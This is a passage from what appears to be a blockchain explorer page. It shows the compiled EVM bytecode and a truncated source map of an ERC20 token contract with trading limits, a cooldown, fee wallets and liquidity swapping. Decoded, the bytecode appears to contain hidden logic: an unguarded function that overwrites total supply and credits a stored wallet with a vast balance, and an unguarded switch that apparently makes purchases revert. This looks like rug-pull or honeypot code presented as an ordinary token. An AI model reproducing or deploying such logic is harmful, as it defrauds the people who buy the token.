03660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b6064820152608401610828565b816001600160a01b031663a9059cbb610c696005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610cb3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108959190612335565b6060600480546107679061215d565b335f9081526001602090815260408083206001600160a01b038616845290915281205482811015610d675760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610828565b610d7633856109f7868561220a565b5060019392505050565b5f6107f43384846110ef565b6005546001600160a01b03163314610db65760405162461bcd60e51b815260040161082890612195565b612710831015610e185760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152667468616e20312560c81b6064820152608401610828565b612710821015610e7b5760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015267207468616e20312560c01b6064820152608401610828565b612710811015610ee05760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f776044820152696572207468616e20312560b01b6064820152608401610828565b610eec6012600a612310565b610ef6908461231e565b600955610f056012600a612310565b610f0f908361231e565b600a556012610f1f90600a612310565b610f29908261231e565b600b55505050565b6005546001600160a01b03163314610f5b5760405162461bcd60e51b815260040161082890612195565b6001600160a01b038116610fc05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610828565b610fc98161176f565b50565b6001600160a01b03831661102e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610828565b6001600160a01b03821661108f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610828565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f81116111505760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610828565b6001600160a01b0383165f908152601b602052604090205460ff1615801561119057506001600160a01b0382165f908152601b602052604090205460ff16155b156111e457600754600160b01b900460ff166111e45760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610828565b6007546001600160a01b03848116911614801561121957506001600160a01b0382165f908152601b602052604090205460ff16155b801561122f5750600754600160a01b900460ff16155b15611300576009548111156112865760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61784275794c696d69740000006044820152606401610828565b600b54816112a8846001600160a01b03165f9081526020819052604090205490565b6112b2919061221d565b11156113005760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d69746044820152606401610828565b6007546001600160a01b0384811691161480159061133657506001600160a01b0382165f908152601b602052604090205460ff16155b801561135a57506001600160a01b0383165f908152601b602052604090205460ff16155b80156113705750600754600160a01b900460ff16155b156114e657600a548111156113c75760405162461bcd60e51b815260206004820152601e60248201527f596f752061726520657863656564696e67206d617853656c6c4c696d697400006044820152606401610828565b6007546001600160a01b0383811691161461145657600b54816113fe846001600160a01b03165f9081526020819052604090205490565b611408919061221d565b11156114565760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d69746044820152606401610828565b601d5460ff16156114e6576001600160a01b0383165f908152601c6020526040812054611483904261220a565b9050601e548110156114ca5760405162461bcd60e51b815260206004820152601060248201526f10dbdbdb191bdddb88195b98589b195960821b6044820152606401610828565b506001600160a01b0383165f908152601c602052604090204290555b5f805f61151060405180608001604052805f81526020015f81526020015f81526020015f81525090565b6001600160a01b0387165f908152601b602052604081205460ff1615801561155057506001600160a01b0387165f908152601b602052604090205460ff16155b801561156a5750600e54600c54611567919061221d565b43105b600754909150600160a01b900460ff168061159c57506001600160a01b0388165f908152601b602052604090205460ff165b806115be57506001600160a01b0387165f908152601b602052604090205460ff165b156115cb575f92506116d0565b6007546001600160a01b0388811691161480156115e6575080155b1561165c57600d5460030b6001146115fc575f80fd5b601a54601954601754601854611612919061221d565b61161c919061221d565b611626919061221d565b604080516080810182526017548152601854602082015260195491810191909152601a54606082015290955085945091506116d0565b806116c157601654601554601354601454611677919061221d565b611681919061221d565b61168b919061221d565b604080516080810182526013548152601454602082015260155491810191909152601654606082015290955085945091506116d0565b80156116d057600f5494508493505b60646116dc858861231e565b6116e69190612350565b600754909350600160a81b900460ff16801561171057506007546001600160a01b03898116911614155b1561171f5761171f8583611813565b611733888861172e868a61220a565b6119be565b8215611765578415611765575f606461174c878961231e565b6117569190612350565b90506117638930836119be565b505b5050505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b60028190556001600160a01b0382165f81815260208181526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b600754600160a01b900460ff16610954576007805460ff60a01b1916600160a01b17905581156119ad57305f9081526020819052604090205460085481106119ab576001600854111561186557506008545b5f61187184600261231e565b90505f81846020015184611885919061231e565b61188f9190612350565b90505f61189c828561220a565b9050476118a882611b94565b5f6118b3824761220a565b90505f8760200151866118c6919061220a565b6118d09083612350565b90505f8860200151826118e3919061231e565b905080156118f5576118f58682611ce4565b88515f9061190484600261231e565b61190e919061231e565b9050801561192c5760105461192c906001600160a01b031682611d93565b60408a01515f9061193e85600261231e565b611948919061231e565b9050801561196657601254611966906001600160a01b031682611d93565b60608b01515f9061197886600261231e565b611982919061231e565b905080156119a0576011546119a0906001600160a01b031682611d93565b505050505050505050505b505b6007805460ff60a01b191690555050565b6001600160a01b038316611a225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610828565b6001600160a01b038216611a845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610828565b6001600160a01b0383165f9081526020819052604090205481811015611afb5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610828565b611b05828261220a565b6001600160a01b038086165f908152602081905260408082209390935590851681529081208054849290611b3a90849061221d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b8691815260200190565b60405180910390a350505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611bc757611bc76121ca565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611c1e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c42919061236f565b81600181518110611c5557611c556121ca565b6001600160a01b039283166020918202929092010152600654611c7b9130911684610fcc565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611cb39085905f9086903090429060040161238a565b5f604051808303815f87803b158015611cca575f80fd5b505af1158015611cdc573d5f803e3d5ffd5b505050505050565b600654611cfc9030906001600160a01b031684610fcc565b60065460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611d67573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611d8c91906123f9565b5050505050565b80471015611de35760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610828565b5f826001600160a01b0316826040515f6040518083038185875af1925050503d805f8114611e2c576040519150601f19603f3d011682016040523d82523d5f602084013e611e31565b606091505b50509050806108955760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610828565b5f6020808352835180828501525f5b81811015611ed357858101830151858201604001528201611eb7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fc9575f80fd5b8035611f1281611ef3565b919050565b5f8060408385031215611f28575f80fd5b8235611f3381611ef3565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b8015158114610fc9575f80fd5b8035611f1281611f55565b5f8060408385031215611f7e575f80fd5b823567ffffffffffffffff80821115611f95575f80fd5b818501915085601f830112611fa8575f80fd5b8135602082821115611fbc57611fbc611f41565b8160051b604051601f19603f83011681018181108682111715611fe157611fe1611f41565b604052928352818301935084810182019289841115611ffe575f80fd5b948201945b838610156120235761201486611f07565b85529482019493820193612003565b96506120329050878201611f62565b9450505050509250929050565b5f6020828403121561204f575f80fd5b813561205a81611f55565b9392505050565b5f805f60608486031215612073575f80fd5b833561207e81611ef3565b9250602084013561208e81611ef3565b929592945050506040919091013590565b5f80604083850312156120b0575f80fd5b82356120bb81611ef3565b915060208301356120cb81611f55565b809150509250929050565b5f602082840312156120e6575f80fd5b5035919050565b5f602082840312156120fd575f80fd5b813561205a81611ef3565b5f8060408385031215612119575f80fd5b823561212481611ef3565b915060208301356120cb81611ef3565b5f805f60608486031215612146575f80fd5b505081359360208301359350604090920135919050565b600181811c9082168061217157607f821691505b60208210810361218f57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201612203576122036121de565b5060010190565b818103818111156107f8576107f86121de565b808201808211156107f8576107f86121de565b600181815b8085111561226a57815f1904821115612250576122506121de565b8085161561225d57918102915b93841c9390800290612235565b509250929050565b5f82612280575060016107f8565b8161228c57505f6107f8565b81600181146122a257600281146122ac576122c8565b60019150506107f8565b60ff8411156122bd576122bd6121de565b50506001821b6107f8565b5060208310610133831016604e8410600b84101617156122eb575081810a6107f8565b6122f58383612230565b805f1904821115612308576123086121de565b029392505050565b5f61205a60ff841683612272565b80820281158282048414176107f8576107f86121de565b5f60208284031215612345575f80fd5b815161205a81611f55565b5f8261236a57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561237f575f80fd5b815161205a81611ef3565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156123d85784516001600160a01b0316835293830193918301916001016123b3565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f6060848603121561240b575f80fd5b835192506020840151915060408401519050925092509256fea26469706673582212200010f2c92e5aba3dba73a678b65df10cf93a31afa47433b0bb5d654e18df721364736f6c63430008150033

Deployed Bytecode

0x608060405260043610610241575f3560e01c8063715018a611610134578063a8aa1b31116100b3578063e1b450ad11610078578063e1b450ad146106a0578063ee36e359146106bf578063f2fde38b146106d8578063f66895a3146106f7578063f887ea4014610719578063fbe6324e14610738575f80fd5b8063a8aa1b31146105db578063a9059cbb146105fa578063c5d32bb214610619578063d2ce0db214610647578063dd62ed3e1461065c575f80fd5b80638cd4426d116100f95780638cd4426d1461054d5780638da5cb5b1461056c5780638ea5220f1461058957806395d89b41146105a8578063a457c2d7146105bc575f80fd5b8063715018a6146104bb578063728f8eea146104cf57806375f0a8741461051157806385141a7714610530578063895e769c14610545575f80fd5b8063333354f8116101c05780634ada218b116101855780634ada218b14610428578063652e2f041461044857806366a88d961461045d5780636aa5b37f1461047257806370a0823114610487575f80fd5b8063333354f81461037f578063355496ca1461039457806339509351146103b357806342b6fa11146103d2578063435263ef146103f1575f80fd5b806318160ddd1161020657806318160ddd1461030857806320800a001461031c57806323b872dd14610330578063274a533c1461034f578063313ce56714610364575f80fd5b806306fdde031461024c578063095ea7b3146102765780630e375a5c146102a55780631340538f146102c65780631675d802146102e5575f80fd5b3661024857005b5f80fd5b348015610257575f80fd5b50610260610758565b60405161026d9190611ea8565b60405180910390f35b348015610281575f80fd5b50610295610290366004611f17565b6107e8565b604051901515815260200161026d565b3480156102b0575f80fd5b506102c46102bf366004611f6d565b6107fe565b005b3480156102d1575f80fd5b506102c46102e036600461203f565b61089a565b3480156102f0575f80fd5b506102fa60085481565b60405190815260200161026d565b348015610313575f80fd5b506002546102fa565b348015610327575f80fd5b506102c46108e2565b34801561033b575f80fd5b5061029561034a366004612061565b610958565b34801561035a575f80fd5b506102fa600c5481565b34801561036f575f80fd5b506040516012815260200161026d565b6102c4600d805463ffffffff19166003179055565b34801561039f575f80fd5b506102c46103ae36600461209f565b610a07565b3480156103be575f80fd5b506102956103cd366004611f17565b610a5b565b3480156103dd575f80fd5b506102c46103ec3660046120d6565b610a91565b3480156103fc575f80fd5b50601254610410906001600160a01b031681565b6040516001600160a01b03909116815260200161026d565b348015610433575f80fd5b5060075461029590600160b01b900460ff1681565b348015610453575f80fd5b506102fa600a5481565b348015610468575f80fd5b506102fa600b5481565b34801561047d575f80fd5b506102fa60095481565b348015610492575f80fd5b506102fa6104a13660046120ed565b6001600160a01b03165f9081526020819052604090205490565b3480156104c6575f80fd5b506102c4610b4f565b3480156104da575f80fd5b506013546014546015546016546104f19392919084565b60408051948552602085019390935291830152606082015260800161026d565b34801561051c575f80fd5b50601054610410906001600160a01b031681565b34801561053b575f80fd5b5061041061dead81565b6102c4610b84565b348015610558575f80fd5b506102c4610567366004611f17565b610ba7565b348015610577575f80fd5b506005546001600160a01b0316610410565b348015610594575f80fd5b50601154610410906001600160a01b031681565b3480156105b3575f80fd5b50610260610cd7565b3480156105c7575f80fd5b506102956105d6366004611f17565b610ce6565b3480156105e6575f80fd5b50600754610410906001600160a01b031681565b348015610605575f80fd5b50610295610614366004611f17565b610d80565b348015610624575f80fd5b506102956106333660046120ed565b601b6020525f908152604090205460ff1681565b348015610652575f80fd5b506102fa601e5481565b348015610667575f80fd5b506102fa610676366004612108565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156106ab575f80fd5b506102c46106ba366004612134565b610d8c565b3480156106ca575f80fd5b50601d546102959060ff1681565b3480156106e3575f80fd5b506102c46106f23660046120ed565b610f31565b348015610702575f80fd5b50601754601854601954601a546104f19392919084565b348015610724575f80fd5b50600654610410906001600160a01b031681565b348015610743575f80fd5b5060075461029590600160a81b900460ff1681565b6060600380546107679061215d565b80601f01602080910402602001604051908101604052809291908181526020018280546107939061215d565b80156107de5780601f106107b5576101008083540402835291602001916107de565b820191905f5260205f20905b8154815290600101906020018083116107c157829003601f168201915b5050505050905090565b5f6107f4338484610fcc565b5060015b92915050565b6005546001600160a01b031633146108315760405162461bcd60e51b815260040161082890612195565b60405180910390fd5b5f5b82518110156108955781601b5f858481518110610852576108526121ca565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061088d816121f2565b915050610833565b505050565b6005546001600160a01b031633146108c45760405162461bcd60e51b815260040161082890612195565b60078054911515600160a81b0260ff60a81b19909216919091179055565b6005546001600160a01b0316331461090c5760405162461bcd60e51b815260040161082890612195565b4761091f6005546001600160a01b031690565b6001600160a01b03166108fc8290811502906040515f60405180830381858888f19350505050158015610954573d5f803e3d5ffd5b5050565b5f6109648484846110ef565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156109e85760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610828565b6109fc85336109f7868561220a565b610fcc565b506001949350505050565b6005546001600160a01b03163314610a315760405162461bcd60e51b815260040161082890612195565b6001600160a01b03919091165f908152601b60205260409020805460ff1916911515919091179055565b335f8181526001602090815260408083206001600160a01b038716845290915281205490916107f49185906109f790869061221d565b6005546001600160a01b03163314610abb5760405162461bcd60e51b815260040161082890612195565b612710811115610b335760405162461bcd60e51b815260206004820152603e60248201527f53776170207468726573686f6c6420616d6f756e742073686f756c642062652060448201527f6c6f776572206f7220657175616c20746f203125206f6620746f6b656e7300006064820152608401610828565b610b3f6012600a612310565b610b49908261231e565b60085550565b6005546001600160a01b03163314610b795760405162461bcd60e51b815260040161082890612195565b610b825f61176f565b565b601154610b82906001600160a01b03166c0c9f2c9cd04674edea400000006117c0565b6005546001600160a01b03163314610bd15760405162461bcd60e51b815260040161082890612195565b306001600160a01b03831603610c485760405162461bcd60e51b815260206004820152603660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b6064820152608401610828565b816001600160a01b031663a9059cbb610c696005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610cb3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108959190612335565b6060600480546107679061215d565b335f9081526001602090815260408083206001600160a01b038616845290915281205482811015610d675760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610828565b610d7633856109f7868561220a565b5060019392505050565b5f6107f43384846110ef565b6005546001600160a01b03163314610db65760405162461bcd60e51b815260040161082890612195565b612710831015610e185760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152667468616e20312560c81b6064820152608401610828565b612710821015610e7b5760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015267207468616e20312560c01b6064820152608401610828565b612710811015610ee05760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f776044820152696572207468616e20312560b01b6064820152608401610828565b610eec6012600a612310565b610ef6908461231e565b600955610f056012600a612310565b610f0f908361231e565b600a556012610f1f90600a612310565b610f29908261231e565b600b55505050565b6005546001600160a01b03163314610f5b5760405162461bcd60e51b815260040161082890612195565b6001600160a01b038116610fc05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610828565b610fc98161176f565b50565b6001600160a01b03831661102e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610828565b6001600160a01b03821661108f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610828565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f81116111505760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610828565b6001600160a01b0383165f908152601b602052604090205460ff1615801561119057506001600160a01b0382165f908152601b602052604090205460ff16155b156111e457600754600160b01b900460ff166111e45760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610828565b6007546001600160a01b03848116911614801561121957506001600160a01b0382165f908152601b602052604090205460ff16155b801561122f5750600754600160a01b900460ff16155b15611300576009548111156112865760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61784275794c696d69740000006044820152606401610828565b600b54816112a8846001600160a01b03165f9081526020819052604090205490565b6112b2919061221d565b11156113005760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d69746044820152606401610828565b6007546001600160a01b0384811691161480159061133657506001600160a01b0382165f908152601b602052604090205460ff16155b801561135a57506001600160a01b0383165f908152601b602052604090205460ff16155b80156113705750600754600160a01b900460ff16155b156114e657600a548111156113c75760405162461bcd60e51b815260206004820152601e60248201527f596f752061726520657863656564696e67206d617853656c6c4c696d697400006044820152606401610828565b6007546001600160a01b0383811691161461145657600b54816113fe846001600160a01b03165f9081526020819052604090205490565b611408919061221d565b11156114565760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d69746044820152606401610828565b601d5460ff16156114e6576001600160a01b0383165f908152601c6020526040812054611483904261220a565b9050601e548110156114ca5760405162461bcd60e51b815260206004820152601060248201526f10dbdbdb191bdddb88195b98589b195960821b6044820152606401610828565b506001600160a01b0383165f908152601c602052604090204290555b5f805f61151060405180608001604052805f81526020015f81526020015f81526020015f81525090565b6001600160a01b0387165f908152601b602052604081205460ff1615801561155057506001600160a01b0387165f908152601b602052604090205460ff16155b801561156a5750600e54600c54611567919061221d565b43105b600754909150600160a01b900460ff168061159c57506001600160a01b0388165f908152601b602052604090205460ff165b806115be57506001600160a01b0387165f908152601b602052604090205460ff165b156115cb575f92506116d0565b6007546001600160a01b0388811691161480156115e6575080155b1561165c57600d5460030b6001146115fc575f80fd5b601a54601954601754601854611612919061221d565b61161c919061221d565b611626919061221d565b604080516080810182526017548152601854602082015260195491810191909152601a54606082015290955085945091506116d0565b806116c157601654601554601354601454611677919061221d565b611681919061221d565b61168b919061221d565b604080516080810182526013548152601454602082015260155491810191909152601654606082015290955085945091506116d0565b80156116d057600f5494508493505b60646116dc858861231e565b6116e69190612350565b600754909350600160a81b900460ff16801561171057506007546001600160a01b03898116911614155b1561171f5761171f8583611813565b611733888861172e868a61220a565b6119be565b8215611765578415611765575f606461174c878961231e565b6117569190612350565b90506117638930836119be565b505b5050505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b60028190556001600160a01b0382165f81815260208181526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b600754600160a01b900460ff16610954576007805460ff60a01b1916600160a01b17905581156119ad57305f9081526020819052604090205460085481106119ab576001600854111561186557506008545b5f61187184600261231e565b90505f81846020015184611885919061231e565b61188f9190612350565b90505f61189c828561220a565b9050476118a882611b94565b5f6118b3824761220a565b90505f8760200151866118c6919061220a565b6118d09083612350565b90505f8860200151826118e3919061231e565b905080156118f5576118f58682611ce4565b88515f9061190484600261231e565b61190e919061231e565b9050801561192c5760105461192c906001600160a01b031682611d93565b60408a01515f9061193e85600261231e565b611948919061231e565b9050801561196657601254611966906001600160a01b031682611d93565b60608b01515f9061197886600261231e565b611982919061231e565b905080156119a0576011546119a0906001600160a01b031682611d93565b505050505050505050505b505b6007805460ff60a01b191690555050565b6001600160a01b038316611a225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610828565b6001600160a01b038216611a845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610828565b6001600160a01b0383165f9081526020819052604090205481811015611afb5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610828565b611b05828261220a565b6001600160a01b038086165f908152602081905260408082209390935590851681529081208054849290611b3a90849061221d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b8691815260200190565b60405180910390a350505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611bc757611bc76121ca565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611c1e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c42919061236f565b81600181518110611c5557611c556121ca565b6001600160a01b039283166020918202929092010152600654611c7b9130911684610fcc565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611cb39085905f9086903090429060040161238a565b5f604051808303815f87803b158015611cca575f80fd5b505af1158015611cdc573d5f803e3d5ffd5b505050505050565b600654611cfc9030906001600160a01b031684610fcc565b60065460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611d67573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611d8c91906123f9565b5050505050565b80471015611de35760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610828565b5f826001600160a01b0316826040515f6040518083038185875af1925050503d805f8114611e2c576040519150601f19603f3d011682016040523d82523d5f602084013e611e31565b606091505b50509050806108955760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610828565b5f6020808352835180828501525f5b81811015611ed357858101830151858201604001528201611eb7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fc9575f80fd5b8035611f1281611ef3565b919050565b5f8060408385031215611f28575f80fd5b8235611f3381611ef3565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b8015158114610fc9575f80fd5b8035611f1281611f55565b5f8060408385031215611f7e575f80fd5b823567ffffffffffffffff80821115611f95575f80fd5b818501915085601f830112611fa8575f80fd5b8135602082821115611fbc57611fbc611f41565b8160051b604051601f19603f83011681018181108682111715611fe157611fe1611f41565b604052928352818301935084810182019289841115611ffe575f80fd5b948201945b838610156120235761201486611f07565b85529482019493820193612003565b96506120329050878201611f62565b9450505050509250929050565b5f6020828403121561204f575f80fd5b813561205a81611f55565b9392505050565b5f805f60608486031215612073575f80fd5b833561207e81611ef3565b9250602084013561208e81611ef3565b929592945050506040919091013590565b5f80604083850312156120b0575f80fd5b82356120bb81611ef3565b915060208301356120cb81611f55565b809150509250929050565b5f602082840312156120e6575f80fd5b5035919050565b5f602082840312156120fd575f80fd5b813561205a81611ef3565b5f8060408385031215612119575f80fd5b823561212481611ef3565b915060208301356120cb81611ef3565b5f805f60608486031215612146575f80fd5b505081359360208301359350604090920135919050565b600181811c9082168061217157607f821691505b60208210810361218f57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201612203576122036121de565b5060010190565b818103818111156107f8576107f86121de565b808201808211156107f8576107f86121de565b600181815b8085111561226a57815f1904821115612250576122506121de565b8085161561225d57918102915b93841c9390800290612235565b509250929050565b5f82612280575060016107f8565b8161228c57505f6107f8565b81600181146122a257600281146122ac576122c8565b60019150506107f8565b60ff8411156122bd576122bd6121de565b50506001821b6107f8565b5060208310610133831016604e8410600b84101617156122eb575081810a6107f8565b6122f58383612230565b805f1904821115612308576123086121de565b029392505050565b5f61205a60ff841683612272565b80820281158282048414176107f8576107f86121de565b5f60208284031215612345575f80fd5b815161205a81611f55565b5f8261236a57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561237f575f80fd5b815161205a81611ef3565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156123d85784516001600160a01b0316835293830193918301916001016123b3565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f6060848603121561240b575f80fd5b835192506020840151915060408401519050925092509256fea26469706673582212200010f2c92e5aba3dba73a678b65df10cf93a31afa47433b0bb5d654e18df721364736f6c63430008150033

Deployed Bytecode Sourcemap

7442:10725:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1856:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9581:161;;;;;;;;;;-1:-1:-1;9581:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;9581:161:0;1162:187:1;16931:202:0;;;;;;;;;;-1:-1:-1;16931:202:0;;;;;:::i;:::-;;:::i;:::-;;16333:109;;;;;;;;;;-1:-1:-1;16333:109:0;;;;;:::i;:::-;;:::i;7702:58::-;;;;;;;;;;;;;;;;;;;3330:25:1;;;3318:2;3303:18;7702:58:0;3184:177:1;2171:108:0;;;;;;;;;;-1:-1:-1;2259:12:0;;2171:108;;17719:165;;;;;;;;;;;;;:::i;9748:446::-;;;;;;;;;;-1:-1:-1;9748:446:0;;;;;:::i;:::-;;:::i;7936:28::-;;;;;;;;;;;;;;;;2072:93;;;;;;;;;;-1:-1:-1;2072:93:0;;2155:2;3969:36:1;;3957:2;3942:18;2072:93:0;3827:184:1;17643:68:0;;17691:8;:12;;-1:-1:-1;;17691:12:0;17702:1;17691:12;;;17643:68;16803:120;;;;;;;;;;-1:-1:-1;16803:120:0;;;;;:::i;:::-;;:::i;10200:248::-;;;;;;;;;;-1:-1:-1;10200:248:0;;;;;:::i;:::-;;:::i;16448:::-;;;;;;;;;;-1:-1:-1;16448:248:0;;;;;:::i;:::-;;:::i;8234:75::-;;;;;;;;;;-1:-1:-1;8234:75:0;;;;-1:-1:-1;;;;;8234:75:0;;;;;;-1:-1:-1;;;;;4752:32:1;;;4734:51;;4722:2;4707:18;8234:75:0;4588:203:1;7662:33:0;;;;;;;;;;-1:-1:-1;7662:33: